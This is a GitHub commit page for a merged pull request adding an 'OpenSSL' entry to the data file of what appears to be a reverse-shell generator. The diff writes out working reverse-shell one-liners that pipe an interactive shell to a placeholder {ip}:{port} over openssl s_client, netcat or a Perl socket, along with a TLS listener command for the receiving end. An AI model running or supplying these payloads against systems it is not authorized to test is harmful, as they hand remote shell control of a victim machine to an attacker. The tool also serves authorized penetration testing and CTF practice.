Skip to content

Commit

Permalink
Merge pull request #169 from hoodietramp/main
Browse files Browse the repository at this point in the history
Add OpenSSL reverse shell
  • Loading branch information
0dayCTF authored Jun 29, 2024
2 parents 49cb3b3 + f8db9c3 commit 1336b08
Showing 1 changed file with 6 additions and 0 deletions.
6 changes: 6 additions & 0 deletions js/data.js
Original file line number Diff line number Diff line change
Expand Up @@ -121,6 +121,11 @@ const reverseShellCommands = withCommandType(
"command": "module Main where\n\nimport System.Process\n\nmain = callCommand \"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | {shell} -i 2>&1 | nc {ip} {port} >/tmp/f\"",
"meta": ["linux", "mac"]
},
{
"name": "OpenSSL",
"command": "mkfifo /tmp/s; {shell} -i < /tmp/s 2>&1 | openssl s_client -quiet -connect {ip}:{port} > /tmp/s; rm /tmp/s",
"meta": ["linux", "mac"]
},
{
"name": "Perl",
"command": "perl -e 'use Socket;$i=\"{ip}\";$p={port};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"{shell} -i\");};'",
Expand Down Expand Up @@ -585,6 +590,7 @@ const rsgData = {
['ncat (TLS)', 'ncat --ssl -lvnp {port}'],
['rlwrap + nc', 'rlwrap -cAr nc -lvnp {port}'],
['rustcat', 'rcat listen {port}'],
['openssl', 'openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 30 -nodes; openssl s_server -quiet -key key.pem -cert cert.pem -port {port}'],
['pwncat', 'python3 -m pwncat -lp {port}'],
['windows ConPty', 'stty raw -echo; (stty size; cat) | nc -lvnp {port}'],
['socat', 'socat -d -d TCP-LISTEN:{port} STDOUT'],
Expand Down

0 comments on commit 1336b08

Please sign in to comment.